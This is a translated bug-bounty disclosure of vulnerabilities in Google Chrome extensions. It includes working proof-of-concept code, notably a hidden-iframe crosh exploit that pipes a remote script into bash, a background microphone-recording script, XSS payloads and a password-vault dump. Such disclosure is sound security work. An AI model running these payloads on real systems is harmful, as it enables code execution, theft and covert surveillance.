原文链接:https://ndevtk.github.io/writeups/2023/08/18/extensions/
译者:知道创宇404实验室翻译组
帖子标题中的奖励总额不包括本文中包含的其他人的漏洞,但包括来自Proton与谷歌扩展不同的漏洞。这可能不反映实际收到的款项。
借助来自Google的500美元漏洞研究补助金,测试Google开发的扩展程序的安全性。
备注:
XMLHttpRequest
的后台脚本将会以xhr.withCredentials = true
的形式发送Cookie,即使它为false,仍能读取扩展程序具有访问权限的任何内容。chrome.storage
不信任 chrome.storage.setAccessLevel- chromium
1227410新的扩展 API 函数MessageSender.origin
在Firefox 上不存在,因此可能需要使用该 URL。runtime.sendMessage
。更多相关文章内容,点击深入研究站点隔离(第2部分)
相关背景信息简介,点击:https://groups.google.com/a/chromium.org/g/chromium-extensions/c/0ei-UCHNm34/m/lDaXwQhzBAAJ
创建一个目录,该目录已自动同步和美化 chrome 网上应用商店中托管的 google 浏览器扩展的源代码。
搜索关键字,如.onMessage
、.onConnect
、.onRequest
、.onMessageExternal
,并审核消息是否发送到后台页面。
确保没有敏感信息存储在chrome.storage
中,可以使用chrome.storage.local.get(null, console.log);
和chrome.storage.sync.get(null, console.log);
来进行查看。
搜索externally_connectable
和content_scripts
查找不安全来源,如http://*.google.com
和https://storage.googleapis.com
。
检查可访问的消息侦听器postMessage
并验证允许的发件人。
尝试搜索所有XSS漏洞点,如scripting.executeScript
、document.write
、innerHTML =
、location.href =
、open()
。
CodeQL
检查web_accessible_resources
点击劫持,这里的脚本也将绕过站点的CSP(内容安全策略)。
漏洞已修复,奖励$3133.70
URL: https://chrome.google.com/webstore/detail/application-launcher-for/lmjegmlicamnimmfhcmpkclmigmmcbeh
桌面驱动器: https://www.google.com/drive/download/
允许不安全来源的宽松规则: "externally_connectable": { "matches": [ "://.google.com/*" ] }
在任何 google 子域(包括不安全的子域)上运行以下命令http://
。以下代码在受害者上运行 VBS 脚本,从而导致 RCE。
let api = chrome.runtime.connect('lmjegmlicamnimmfhcmpkclmigmmcbeh', {name: 'com.google.drive.nativeproxy'});
let request = 'native_opener/v2/3/' + btoa('["<VICTIM EMAIL>", "<SHARED FILE ID>","VkJTRmlsZQ",""]'); api.postMessage(request);
同一网络上的攻击者,或者具有任何 google 子域的浏览器扩展/XSS 漏洞,可以向代理发送消息,以打开他们在Google Drive中同步的任何要共享的文件。
未设置“网络标记”,详情点击:https://textslashplain.com/2016/04/04/downloads-and-the-mark-of-the-web/
通过将externally_connectable
更改为仅允许https://docs.google.com/*
和https://drive.google.com/*
,浏览器扩展使用<all_urls>
仍然可以获得与之相关的RCE。
用于获取 RCE 的演示浏览器扩展:https://ndevtk.github.io/writeups/RCE.zip , 这可以通过添加到https来修复,详情点击:https://ndevtk.github.io/writeups/extensionRCE.mp4。
已修复,奖励$5000
URL: https://chrome.google.com/webstore/detail/perfetto-ui/lfmkphfpdbjijhpomgecfikhfohaoine
Perfetto UI 是 Google 的 Chrome 扩展,用于记录浏览器痕迹,该扩展程序与 ui.perfetto.dev 通信以记录浏览器痕迹。扩展程序特别强大,因为它经过硬编码以接受 Chrome ( ExtensionIsTrusted
) 的特殊处理。
然而,从manifest.json我们可以看到它还可以连接到storage.googleapis.com,这是一个用于存储任何人都可以创建的任意Google Cloud存储桶的域。
"externally_connectable": {
"matches": [
"*://localhost/*",
"*://127.0.0.1/*",
"https://*.perfetto.dev/*",
"https://storage.googleapis.com/*"
]
}
这意味着在storage.googleapis.com上托管页面的任何人都可以与扩展程序进行完全通信,以记录和读取浏览器追踪信息。这些追踪信息包含Chrome日志、IPC流、网络日志以及其他150多个类别的信息。日志中的敏感值应该被删除,但是这种过滤并不完美,许多敏感值都被泄露(如Chrome流量的URL和响应头,其中包含了来自"Authorization"头部的访问令牌等敏感信息)。
复现步骤:
PoC本质上是在iframe中加载Perfetto UI前端的副本,然后使用JavaScript配置它并单击“开始”按钮。15秒后,隐藏的iframe被显示出来,显示了记录的数据。PoC页面可以访问所有这些数据。要轻松查看泄露的数据,可以单击左侧菜单中的“转换为.json”。
这是页面如何扩展通信的示例:
port = chrome.runtime.connect('lfmkphfpdbjijhpomgecfikhfohaoine');
port.onMessage.addListener(console.log);
port.postMessage({method: 'GetCategories'});
这个问题已从externally_connectable
中通过移除https://storage.googleapis.com/
来修复。详情点击:https://github.com/google/perfetto/commit/493ab156ac9f2610f91f0d5df9a7a793b6539988。
已修复,奖励$5000
URL: https://chrome.google.com/webstore/detail/screen-reader/kgejglhpjiefppelpmljglcjbhoiplfn
Screen Reader是谷歌的辅助功能扩展。其源代码可在Chromium存储库中找到。
它公开了各种可以调用的命令。问题在于消息监听器不会检查传入消息的来源 其中一个命令是clickNodeRef
通过选择器注入,可以使用任意选择器单击 DOM 中的任何元素。
channel = new MessageChannel();
win.postMessage("cvox.PortSetup", "*", [channel.port2]);
channel.port1.postMessage(JSON.stringify({ cmd: 'clickNodeRef', args: [{ cvoxid: '"], ' + selector + ', *[x="' }] }));
因此,引用任何其他跨源页面的恶意页面可以单击该页面上的元素,即绕过同源策略。这允许以一种简单且无限制的方式在任何网页上执行点击劫持,甚至是那些具有框架保护的网页(带有 COOP 的页面除外)。
这可用于代表用户在其他网站上执行操作。此 PoC 展示了一种滥用方式:一种完全自动化的方式,在用户不知情的情况下授予敏感的 OAuth 权限。
复现步骤:
几秒后,在 https://myaccount.google.com/permissions 中可以看到PoC应用程序已访问Google帐户。
除了此漏洞之外,此扩展还可能存在其他安全问题。例如,以下代码不会清理用户输入;如果被利用,这可能会导致 UXSS。(我们还没有分析这个,但它看起来也很脆弱)
var html = Msgs.getMsg('pdf_header', [filename, src + '#original']);
headerDiv.innerHTML = html;
这个问题已通过移除clickNodeRef
方法来修复。
已修复,奖励$5000
降级为需要受损的渲染器,也许CPU漏洞能起作用
URL: https://chrome.google.com/webstore/detail/tag-assistant-legacy-by-g/kejbdjndbnbjgmefkgdddjlbokphdefk
chrome.runtime.sendMessage({message: 'LoadScript', url: 'http://192.168.1.1'}, console.log);
新的安全检查有一个允许的来源列表,但有开放式重定向问题。但这只适用于application/javascript
内容类型。
chrome.runtime.sendMessage({message: 'LoadScript', url: 'https://googleads.g.doubleclick.net/pcs/click?adurl=http://localhost:8000/x.js'}, console.log);
受损的渲染器可以绕过同源策略。
已修复,奖励$6267.4
URL: https://chrome.google.com/webstore/detail/tag-assistant-legacy-by-g/kejbdjndbnbjgmefkgdddjlbokphdefk
将 JS 执行上下文更改为 Tag Assistant Legacy 的内容脚本,并执行以下命令:
chrome.runtime.sendMessage({message: "GetRecordedIssues", tabId: "<TabID>"}, a => {
console.log(a.statusInfos[0].page.url);
});
将 JS 执行上下文更改为 Tag Assistant Legacy 的内容脚本,并执行以下命令:
let port = chrome.extension.connect({name: "popup"});
port.onMessage.addListener((a) => {console.log(a.url)});
port.postMessage({message: "Status", tabId: "<TabID>"});
受损的渲染器可能会泄露访问过的 URL,其中可能包含敏感数据,例如 access_token。
已被接受并弃用
URL: https://chrome.google.com/webstore/detail/coding-with-chrome/becloognjehhioodmnimnehjcibkloed
为了隔离,该扩展在本地主机上托管用户控制的代码,但它不会验证消息的发送者或使用来源null
。
let x = window.open('http://127.0.0.1:8090/preview/untitled_phaser_blockly_file.html') window.addEventListener("message", a=> { console.log(a.data) x.postMessage({name: "__exec__", value:"alert(origin)"}, "*") }) setTimeout(()=> x.postMessage({name: "__handshake__", value:"1307"}, "*"), 500)
攻击者控制的网站可以在本地主机上获取 XSS,这可能受到应用程序的信任,因为它引用了用户本地计算机https://datatracker.ietf.org/doc/html/draft-west-let-localhost-be-localhost-06
部分修复,未得到奖励
URL: https://chrome.google.com/webstore/detail/secure-shell/iodihamcpbpeioajjeobimgagajmlibd
可以加载或嵌入页面chrome-extension://iodihamcpbpeioajjeobimgagajmlibd/html/nassh.html?openas=fullscreen#crosh
来使当前标签页全屏,而不需要用户交互。
影响:
// Allow users to bookmark links that open as a window.
const openas = params.get('openas');
switch (openas) {
case 'window': {
// Delete the 'openas' string so we don't get into a loop. We want to
// preserve the rest of the query string when opening the window.
params.delete('openas');
const url = new URL(document.location.toString());
url.search = params.toString();
openNewWindow(url.href).then(() => globalThis.close);
return;
}
case 'fullscreen':
case 'maximized':
chrome.windows.getCurrent((win) => {
chrome.windows.update(win.id, {state: openas});
});
break;
}
重复进入全屏模式的问题已通过移除opener引用来修复,详情点击: https://chromium-review.googlesource.com/c/apps/libapps/+/4823645
已修复,不是官方谷歌应用程序
URL: https://chrome.google.com/webstore/detail/form-troubleshooter/lpjhcgjbicfdoijennopbjooigfipfjh
Form Troubleshooter 扩展是 Google Chrome Labs 的一个项目。
该扩展向所有页面添加内容脚本,该脚本以当前文档的 DOM 树进行响应,它接受任何引用该窗口的页面的消息。
window.addEventListener('message', async (event) => {
if (event.data?.message === 'iframe message') {
const messageType = event.data?.data?.type;
if (messageType === 'inspect') {
sendPostMessageResponse(event, await getDocumentTree(document));
}
[...]
}
});
这意味着这个页面可以获取它引用的任何其他页面的文档树。
复现步骤:
1.打开 https://example.com
2.运行
onmessage = console.log;
x=window.open('https://facebook.com')
setTimeout(() => {
x.postMessage({message: 'iframe message', data: {type: 'inspect'}}, '*');
}, 1000);
3.注意到文档树已泄露。
window.open
)或防止被框架化(iframe
)的网页的文档树。 这个问题已通过添加来源检查进行了修复 ,详情点击:https://github.com/GoogleChromeLabs/form-troubleshooter/commit/f67dc76e304dfa29b6be16725287c1b84a27eabe
部分修复,不太可能涉及用户交互
URL: https://chrome.google.com/webstore/detail/tag-assistant-for-convers/llpfnmnallbompdmklfkcibfpcfpncdd
通过扩展弹出窗口单击“开始”按钮,然后转到“https://example.org/?secret
在攻击者控制的网站内容脚本的上下文中”。
chrome.runtime.sendMessage({messageType: 6}, tabInfo => { for (let page in tabInfo.pages) { console.log(tabInfo.pages[page].info.url); } });
存在导航泄露
chrome.runtime.onMessage.addListener(e => { console.log(JSON.stringify(e)) });
受损的渲染器可以泄露已访问的URL,其中可能包含敏感数据(如访问令牌),以及其他数据(如Cookie名称)。
不太可能涉及用户交互
URL: https://chrome.google.com/webstore/detail/long-descriptions-in-cont/ohbmencljkleiedahijfkagnmmhbilgp
“上下文菜单中的长描述”是谷歌提供的辅助性扩展。它添加了一个上下文菜单项,该菜单项将打开一个新标签页,以显示网站提供的URL。URL的内容没有限制,这可能导致安全风险。
复现步骤:
<body longdesc="chrome-extension://iodihamcpbpeioajjeobimgagajmlibd/plugin/mosh/mosh_window.html">
<h1 style="pointer-events: none;">Right click and select "Open Long Description In New Tab"</h1>
</body>
3.单击右键并选择“在新标签页中打开长描述”。
将创建一个带有“sec-fetch-site: none”的任意URL的新选项卡,该选项卡可被滥用来链接完整的漏洞利用,例如:
通过使用渲染器漏洞或通过 XSLeaks打开下载的 html 文件(已弃用https://chromium-review.googlesource.com/c/chromium/src/+/4772028 )来读取本地文件。
绕过web accessible资源导航限制
对于需要渲染器利用的错误,我们通常为仅需要单个用户交互(即单击)的错误提供经济奖励。这是因为需要受害者进行多次用户交互的错误通常不会与渲染器漏洞一起使用(由于攻击可能不成功,渲染器漏洞被浪费的风险更大)。
我们还研究了提供的另外2个攻击场景,通过导航到javascript: URI
并使用渲染器漏洞来实现UXSS。
提到的漏洞已经由Chrome修复。因此,我们认为这个漏洞不可能导致UXSS,通过使用渲染器漏洞打开下载的 html 文件来读取本地文件。
要执行这种攻击,需要以下步骤:
下载恶意 HTML 文件。要求用户右键单击并点击“在新选项卡中打开详细描述”。这将打开在步骤 1 中下载的恶意 HTML 文件,它现在可以读取其他文件。这意味着除了步骤2中的多个用户交互要求之外,受害者还可以看到步骤1中下载的恶意文件。因此,我们认为成功攻击的可能性进一步减小。
不是官方 Google 应用程序
URL: https://chrome.google.com/webstore/detail/gerrit-fe-dev-helper/jimgomcnodkialnpmienbomamgomglkd/
chrome.storage.sync.set({rules: [{"destination": "alert(window.origin)","disabled": false,"isNew": false,"operator": "injectJSCode","target": ""}]})
// Now open a tab (https://google.com) and click the extension action icon
这也可以通过chrome.runtime.sendMessage
完成。
如果受害者访问具有受损渲染器(可以访问内容脚本)的网站并在那里启用扩展,该网站将能够绕过同源策略。
这是 Google 为前端 Gerrit 开发人员提供的扩展。详情点击: https://gerrit.googlesource.com/gerrit-fe-dev-helper/
不是官方谷歌应用程序
URL: https://chrome.google.com/webstore/detail/amp-readiness-tool/fadclbipdhchagpdkjfcpippejnekimg
window.onclick = () => {
open('https://www.google.com');
setTimeout(() => {
chrome.runtime.sendMessage({id: 'get_apps', tab: {id: ''}}, e => { console.log(e.html) });
}, 3000);
}
受损的渲染器可以绕过同源策略。
已修复,不是官方谷歌应用,但在web.dev上被标记为应用程序
URL: https://chrome.google.com/webstore/detail/web-vitals/ahfhijdlegdabablpippeagghigmibma
chrome.storage.local.get(null, results => { for (let hash in results) { console.log(results[hash].location); } });
ChromeVox存在一个类似的问题,但从未得到修复。详情点击:https://bugs.chromium.org/p/chromium/issues/detail?id=1016535#c23
受损的渲染器可能会泄露访问过的 URL,其中可能包含敏感数据,例如 access_token。
此问题已通过 https://github.com/GoogleChrome/web-vitals-extension/commit/5187dbddcdea7886009f937344a7d4c0b4590598 得到修复。
已接受,未获奖励
URL: https://chrome.google.com/webstore/detail/chrome-reporting-extensio/emahakmocgideepebncgnmlmliepgpgb
此扩展需要设置才能正常工作:在HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\3rdparty\extensions\emahakmocgideepebncgnmlmliepgpgb\Policy
中创建DWORD report_user_browsing_data
,值为 1
。
在受攻击者控制的站点上,运行以下内容:
chrome.storage.local.get('activeSites', e => { for (let url in JSON.parse(e.activeSites)) console.log(url) });
受损的渲染器可能会泄露访问过的 URL(来源 + 路径名),足以泄露未列出的 Google 文档 ID。
已接受,未获奖励
URL: https://chrome.google.com/webstore/detail/save-to-google-drive/gmbmikajjgmnabiglmofipeabaddhgne
chrome.storage.sync
该扩展程序存储了受损渲染器的文件存储位置的文件夹 ID ;如果将其设置为“带有链接”并更改为攻击者控制的值,则可能会泄露他们的文件夹。
这只能在内容脚本被注入后发生,当用户单击扩展图标或直接从浏览器扩展使用 upload.html 时,就会发生这种情况。
chrome-extension://gmbmikajjgmnabiglmofipeabaddhgne/upload.html?aid=image-entire&tid=<TabID>
通过将action id aid
从image-entire更改为html,它会将页面的源代码泄露到该文件夹。这可以通过带有 Tabs API 的浏览器扩展来利用。
欺骗上下文菜单来诱骗用户泄露意外的 URL。
<img src="https://github.com/opensearch.xml">
单击右键并保存图像到Drive,该元素可以与鸭子图像重叠。潜在的修复方法:
攻击者可以利用这个漏洞来绕过同源策略(SOP)。
已修复,不太可能进行用户交互
URL: https://chrome.google.com/webstore/detail/secure-shell/iodihamcpbpeioajjeobimgagajmlibd
操作系统:ChromeOS(普通或开发者模式)。开发者模式允许访问系统shell,普通模式仅允许预定义的命令。
需要安装 Google 的Secure Shell 扩展加上旧版本它们拥有超过 100 万用户。
该扩展程序公开html/nassh.html
为可通过网络访问的资源,可用于访问 Crosh(Chrome OS shell),并且可以不受限制地嵌入任何网页。这样,恶意网站就可以在用户不知情的情况下让用户与 shell 进行交互。
需要一些用户交互,但是可以通过例如将其作为游戏的一部分来使用户不易察觉。
复现步骤:
cat /etc/passwd
(或任意 Linux 命令)已被执行 或者,可以单击右键(而不是 Ctrl+Shift+V)点击 poc-rightclick.html
如果启用了开发者模式,将shell
命令运行并提供对系统shell的访问权限。在常规用户模式下,Crosh shell允许执行任何预定义的命令,这些命令可能被用来获取对系统 shell 的访问权限。
注意:PoC 在启用开发模式时效果最佳。在常规模式下,shell 命令将失败,但问题仍然会出现。
另一个潜在的攻击媒介是连接到本地网络中通常具有默认凭据的设备,例如:html/nassh.html#[email protected]
。
poc.html:
<!doctype html>
<html>
<head>
<style>
html, body { font-family: sans-serif; overflow: hidden; }
#croshFrame {
position: absolute;
top: 0;
left: 0;
width: 100vw;
height: 100vh;
opacity: 0.000000001;
pointer-events: none;
}
#croshFrame.show { opacity: 0.5; }
#croshFrame.enablePointerEvents { pointer-events: auto; }
#instructions {
font-size: 2em;
font-weight: bold;
text-align: center;
}
#inputElem { opacity: 0.000000001; }
</style>
</head>
<body>
<h1>PoC: crosh UI redress - Keyboard-only with polyglot</h1>
<p>(Frame will autoshow sometime around the last step. Use ?show to show iframe on page load. Use ?danger to run remote bash script.)</p>
<p id="instructions">Press any key to start</p>
<input id="inputElem">
<iframe id="croshFrame"></iframe>
<script>
var showFrame = () => {
croshFrame.classList.add('show');
}
var shouldShow = window.location.search.indexOf('show') > -1;
if (shouldShow) {
showFrame();
}
var setClipboard = async (text) => {
const type = "text/plain";
const blob = new Blob([text], { type });
const data = [new ClipboardItem({ [type]: blob })];
await navigator.clipboard.write(data);
}
var setupPayload1 = () => {
console.info('Setup payload 1');
var setPayload1 = async () => {
console.info('Setting payload 1');
var clipboardSuccess = false;
try {
var dangerZone = window.location.search.indexOf('danger') > -1;
if (dangerZone) {
// Use payload below if you trust me (does nothing malicious)
await setClipboard('shell || curl https://aogarantiza.com/chromium/crosh-payload.txt | bash');
} else {
await setClipboard('shell || cat /etc/passwd');
}
clipboardSuccess = true;
} catch(e) {
instructions.innerText = 'Please press space or any letter key.';
}
if (clipboardSuccess) {
window.removeEventListener('keydown', setPayload1);
croshFrame.src = 'chrome-extension://iodihamcpbpeioajjeobimgagajmlibd/html/nassh.html#crosh';
instructions.innerText = 'Please wait...';
}
}
window.addEventListener('keydown', setPayload1);
}
var frameLoadCount = 0;
croshFrame.addEventListener('load', () => {
// First load isn't a usable prompt
frameLoadCount++;
if (frameLoadCount >= 2) {
setTimeout(() => {
// Slight delay to allow crosh to initialize and be ready for input
// Ctrl+J can also be used instead of Enter.
instructions.innerText = 'Please press Ctrl+Shift+V.\nThen press Enter.\n\nThen repeat the steps above.';
setTimeout(() => { showFrame(); croshFrame.classList.add('enablePointerEvents'); }, 8000);
}, 500);
}
});
setupPayload1();
// Focus page so we get user activation with first valid keypress every time
inputElem.focus();
</script>
</body>
</html>
在启用 Linux 的生产模式(不可shell
用)下,确认了以下影响。
攻击者可以打开Termina虚拟机中的Linux shell或容器中的Linux shell。一旦攻击者获得了Linux shell,就可以在单个复制/粘贴步骤中运行任意shell脚本。使用脚本或运行任意容器可以减少如下所示的步骤数(这些步骤用于手动重现,因此有更详细的步骤)。
要在 Termina VM 中获取 Linux shell,请在 crosh 中运行:vmc start termina
要在容器中获取 Linux shell,请在 crosh 中运行:(vmc container termina test-t1 --timeout 120
请注意,vmc container
常需要在物理Chromebook上,命令通常需要更高的超时,结果可能有所不同)
恶意负载可以延迟运行或在后台运行,因此当用户仍在攻击者页面上时它们不一定会发生。这可能会使某些攻击更难以检测和阻止。有关示例,请参阅“捕获麦克风输出”。
任意容器可以运行攻击者命令,无需进一步的用户输入,这可以节省一步复制/粘贴操作并在更复杂的攻击中节省设置时间(因为攻击者不需要使用其工具设置默认容器)。
我还没有准备好自定义映像,因此以Arch Linux映像为例,但这可以是由攻击者控制的服务器+容器。
基于以下步骤在 crosh 中重现步骤:https ://wiki.archlinux.org/title/Chrome_OS_devices/Crostini
vmc container termina test-arch https://us.lxd.images.canonical.com/ archlinux/current --timeout 120
运行上述命令后,容器将在目标设备上运行。请注意,由于 Arch 没有 ChromeOS 访客工具,因此将看到一条错误消息,但这可以忽略。如果使用 crosh 进入虚拟机vsh termina
,然后lxc list
在虚拟机中运行,将看到 Arch 容器正在运行。还可以通过在虚拟机中运行lxc exec arch -- bash
来进一步验证这一点。
在crosh中的复制步骤:
vmc container termina penguin
/opt/google/cros-containers/bin/garcon --client --url file:///mnt/chromeos/MyFiles/Downloads/file.txt
这绕过了弹窗阻止程序运行,并绕过阻止网页打开文件URL的限制。
可以打开任意的http(s)、文件、data、ftp、mailto URL。允许的URL协议包括:https://source.chromium.org/chromium/chromium/src/+/main:ash/dbus/url_handler_service_provider.cc;l=21;drc=4de6dab8daa43278023a25ee25695479bc8afdbe
如果我们知道MyFiles中的目录名称,就可以对用户文件进行任意读写。默认目录是“Downloads”文件夹,其中包含许多用户的敏感数据。
可用于窃取数据或篡改已安装目录中的文件。
Crosh 中的复现步骤:
vmc share termina Downloads
这会在虚拟机中的/mnt/shared/MyFiles/Downloads/路径下挂载目录,同时也在容器中的/mnt/chromeos/MyFiles/Downloads/路径下挂载目录。
一旦挂载,攻击者可以通过在虚拟机或容器中运行的代码来访问这些目录(由攻击者选择)。
Service::SharePath()
上是用 with 调用的SharePathRequest::MY_FILES
(请参阅此处的调用:https://source.chromium.org/chromiumos/chromiumos/codesearch/+/main
在crosh中的复制步骤:
vmc start termina --enable-audio-capture
vmc container termina test-t1 --timeout 120
(可能需要尝试多次,直到容器运行;错误消息可能会误导)sudo apt install sox
rec -t alsa
完成第4步后,观察终端中显示的麦克风输入的音频条,ChromeOS还会显示一个通知。
请注意,如果使用攻击者控制的容器,容器内命令可以自动化(请参考“运行任意容器”部分)。
ChromeOS显示一个通知,上面写着“Linux正在使用您的麦克风”,几秒钟后会自动隐藏。麦克风访问的唯一持续指示是通知区域的麦克风图标,以及在打开区域通知本身。
当用户单击麦克风访问通知时,会打开设置应用程序到Linux页面。然而,用户不能在此屏幕上撤消对麦克风访问权限,因为尽管容器有访问权限,但麦克风访问的切换仍将处于关闭状态(这似乎也应该在设置应用程序中修复)。停止这一切的唯一方法是停止容器、虚拟机,或者对于典型用户来说,重启整个系统。可以通过在crosh中运行 vmc stop termina
来停止它。
Termina 虚拟机不支持摄像头输入。但根据代码分析,似乎ARC(Android)、PluginVM(Parallels)和Borealis(Steam)虚拟机支持摄像头。如果目标系统中有这些支持的虚拟机之一,而且可以通过crosh访问,攻击者可能也能够访问摄像头(尽管这尚未得到确认,但根据代码分析似乎是可能的)。
作为在后台执行此操作的演示,可以将第3步和第4步替换为托管在 https://aogarantiza.com/chromium/crosh-payload-2.txt 的Bash脚本(攻击者可以使用 curl ... | bash
来运行)。
#!/bin/bash
run_payload() {
sleep 10
sudo apt install sox
sleep 10
rec -t alsa
}
echo "Hello, this will record audio in 20-40 seconds... you can close this shell/tab and it will still run"
run_payload &
不确定攻击者是否有用
能够通过 croshwireguard
命令设置 Wireguard VPN 配置。但是,在 GUI 中切换“自动配置网络设置”之前,无法使 DNS 正常工作。也许有更多配置Wireguard经验的人可以找出如何使这对攻击者有用。如果它有效,我认为这可能允许攻击者通过他们的Wireguard服务器进行流量隧道传输,并潜在地劫持DNS。
在Wireguard连接时不会显示通知,但在断开连接时会显示通知。
通过向扩展的content_security_policy
添加frame-ancestors 'self';
来修复此问题。详情点击:https://chromium-review.googlesource.com/c/apps/libapps/+/4603751
已分配,未激活
URL: https://chrome.google.com/webstore/detail/secure-shell/iodihamcpbpeioajjeobimgagajmlibd
chrome-extension://iodihamcpbpeioajjeobimgagajmlibd/plugin/mosh/mosh_window.html?args=eyJzdHlsZSI6ImJhY2tncm91bmQtaW1hZ2U:
(可以直接完成,也可以通过WAR绕过完成) cat
url 中的 args 进行 base64 解码并设置为 html 嵌入标记的属性。虽然由于CSP的限制阻止了JavaScript,但它仍然允许CSShttps://bugs.chromium.org/p/chromium/issues/detail?id=1345685
获得200美元奖励,不是谷歌应用,但我还是放在这里了
URL: https://chrome.google.com/webstore/detail/proton-pass-free-password/ghmbeldphafepmbegfdlkpapadhbakde
由于站点隔离,攻击者控制的进程(内容脚本)不获得对不同站点密码的访问权限,因为它将是进程隔离的。
然而,Proton Pass不会验证EXPORT_REQUEST
消息的发送者,从而导致渲染器错误以未加密的形式泄露所有用户密码。
在受攻击者控制的网站上的内容脚本上下文中执行以下操作:
// Bypass Self-XSS (For debugging)
f = document.createElement('iframe');
document.body.appendChild(f);
chrome = f.contentWindow.chrome;
// Dump database
chrome.runtime.sendMessage({type: 'EXPORT_REQUEST', payload: { encrypted: false } }, result => { console.log(atob(result.data)) });
尽管chrome.storage.local中的数据共享给了使用与攻击者控制网站相同进程的内容脚本,但这些数据以加密形式存储,因此不太有用。不过,这可以通过在后台进程中直接使用localStorage API来改进。因为我想我还看到了一个访问令牌:
MV3 Service Worker 不允许 localStorage,但还有其他选择。详情点击:https://developer.chrome.com/docs/extensions/migration/to-service-workers/#convert-localstorage
未经验证的修复,详情点击:https://github.com/search? q=repo%3AProtonMail%2FWebClients+SECBTY-628&type=commits
已废弃,奖励500美元
URL: https://chrome.google.com/webstore/detail/google-optimize/bhdplaindhdkiflmbfbciehdccfhegci
攻击概要:
有效负载的令牌存储在 chrome.storage.local 中,因此如果渲染器受到损害,则不需要用户交互(获得 WAI)。详情点击:https://www.youtube.com/watch?v=h1zTOBpMjmw
不是Google 官方应用
URL: https://chrome.google.com/webstore/detail/screenwise-meter/hbmclfdibpffglligfnnppjocdlhgjbb
chrome.runtime.sendMessage
进行WAR绕过 chrome.storage.local
泄露授权令牌 未报告,Google Cloud的一部分
URL: https://chrome.google.com/webstore/detail/mandiant-advantage-threat/aghmgfkjfbkcockededacdhemkpgdcko
通过泄露slackWebhook
, teamsWebhook
,token
到受损的渲染器chrome.storage.local
未报告,Alesandro 无法购入
URL: https://www.playstation.com/
Playstation 密码重置电子邮件使用不安全的http://
链接,因为http://click.txn-email.account.sony.com/
必须使用http:exacttarget.com
的salesforce 的电子邮件分析服务来加载,两次重置都是从同一个游戏登录页面完成的。
本地网络攻击者可以在用户尝试重置密码时获得帐户接管,根据帐户设置可能还需要用户的出生日期。
URL: https://googlechromelabs.github.io/affilicats/forward.html?url=javascript:alert(window.origin)
“AffiliCats”网站有一个开放的重定向,可以使用名为url
的URL参数设置document.location.href
,从而允许导航到javascript:
f = new URLSearchParams(document.location.search) , g = new URL(f.get("url"));
攻击者控制的网站获得“cutest cats online””。
已修复,已奖励独立影响
let payload = `
alert(window.origin);
`;
let f = document.createElement("iframe"); f.src = "https://www.gstatic.com/alkali/d78121f02d90dc923359a36d4b03dc5b4c2ae024.html"; document.body.appendChild(f); setTimeout(() => { f.contentWindow.postMessage({resourcePaths: {jsPath: "data:text/html,"+encodeURIComponent(payload)}}, "*"); }, 2000);
通过性能 API 泄露 gstatic.com 资源的连接和 DNS 计时,有时它被用作嵌入。
URL: https://googlechromelabs.github.io/layout-shift-terminator/
由于该页面允许嵌入,并且可以导航到嵌套的iframe,因此可以通过竞速绕过event.source === iframe.contentWindow
检查来完成postMessage。这也可以通过使用 null contentWindow 技巧滥用 chromium 最大 iframe 限制来完成。
f = document.createElement('iframe');
f.hidden = true;
document.body.appendChild(f);
function tryXSS() {
loop = setInterval(() => {
try {
f.contentWindow[1].location = 'about:blank';
f.contentWindow[1].eval("parent.postMessage({duration: 1, height: '</style><img src=x onerror=alert(origin)>', width: 1}, '*')");
clearInterval(loop);
f.contentWindow[1].location = 'https://googlechromelabs.github.io';
} catch {}
}, 100);
f.src = 'https://googlechromelabs.github.io/layout-shift-terminator/?autorun';
}
tryXSS();
setInterval(tryXSS, 1000);
rm -rf extensions/*
sudo apt install unzip
npm -g install prettier
# Downloads every extension ID in extensions.txt
for extensionID in $(cat extensions.txt)
do
wget "https://clients2.google.com/service/update2/crx?response=redirect&os=win&arch=x86-64&os_arch=x86-64&nacl_arch=x86-64&prod=chromiumcrx&prodchannel=unknown&prodversion=114.0.0.0&acceptformat=crx2,crx3&x=id%3D$extensionID%26uc" -O $extensionID.zip
unzip $extensionID.zip -d extensions/$extensionID
rm $extensionID.zip
chmod -R 777 extensions/$extensionID
prettier --write extensions/$extensionID
done
这可能包括不被视为官方谷歌应用程序的扩展程序
gbecpjnejcnafnkgfciepngjcndodann
lkjlajklkdhaneeelolkfgbpikkgnkpk
kngjcibmkbngcpnaoafbgkicpgmdehje
iodihamcpbpeioajjeobimgagajmlibd
inomeogfingihgjfjlpeplalcfajhgai
hinmcgipjjndkedddmmpidnjikjebejj
ghbmnnjooekpmoecnnnilnnbdlolhkhi
fhcagphnoanpgcbhcjlijdbeeggldbof
djjmngfglakhkhmgcfdmjalogilepkhd
aihpiglmnhnhijdnjghpfnlledckkhja
abjoigjokfeibfhiahiijggogladbmfm
kgejglhpjiefppelpmljglcjbhoiplfn
noondiphcddnnabmjcihcjfbhfklnnep
nmmhkkegccagdldgiimedpiccmgmieda
nnckehldicaciogcbchegobnafnjkcne
npeicpdbkakmehahjeeohfdhnlpdklia
onjcfgnjjbnflacfbnjaapcbiecckilk
aohghmighlieiainnegkcijnfilokake
pjkljhegncpnkpknbcohdijeoejaedia
mmfbcljfglbokpmkimbfghdkjmjhdgbg
aapocclcgogkmnckokdopfmhonfmgoek
aapbdbdomjkkjkaonfhkkikfgjllcleb
felcaaldnbdncclmgdcncolpebgiejap
apdfllckaahabafndbhieahigkjlhalf
lmjegmlicamnimmfhcmpkclmigmmcbeh
hmjkmjkepdijhoojdojkdfohbdgmmhki
lpcaedmchfhocbbapmcbpinfpgnhiddi
mkaakpdehdafacodkgkpghoibnmamcme
joodangkbfjnajiiifokapkpmhfnpleo
gbkeegbaiigmenfmjfclcdgdpimamgkj
jhknlonaankphkkbnmjdlpehkinifeeg
mgijmajocgfcbeboacabfgobmjgjcoja
ldipcbpaocekfooobnbcddclnhejkcpn
mclkkofklkfljcocdinagocijmpgbhab
callobklhcbilhphinckomhgkigmfocg
kejbdjndbnbjgmefkgdddjlbokphdefk
hkgfoiooedgoejojocmhlaklaeopbecg
djflhoibgkdhkhhcedjiklpkjnoahfmg
hfhhnacclhffhdffklopdkcgdhifgngh
fllaojicojecljbmefodhfapmkghcbnh
pocpnlppkickgojjlmhdmidojbmbodfm
jndclpdbaamdhonoechobihbbiimdgai
bhloflhklmhfpedakmangadcdofhnnoh
nlbjncdgjeocebhnmkbbbdekmmmcbfjd
kcnhkahnjcbndmmehfkdnkjomaanaooo
dllkocilcinkggkchnjgegijklcililc
jnkmfdileelhofjcijamephohjechhna
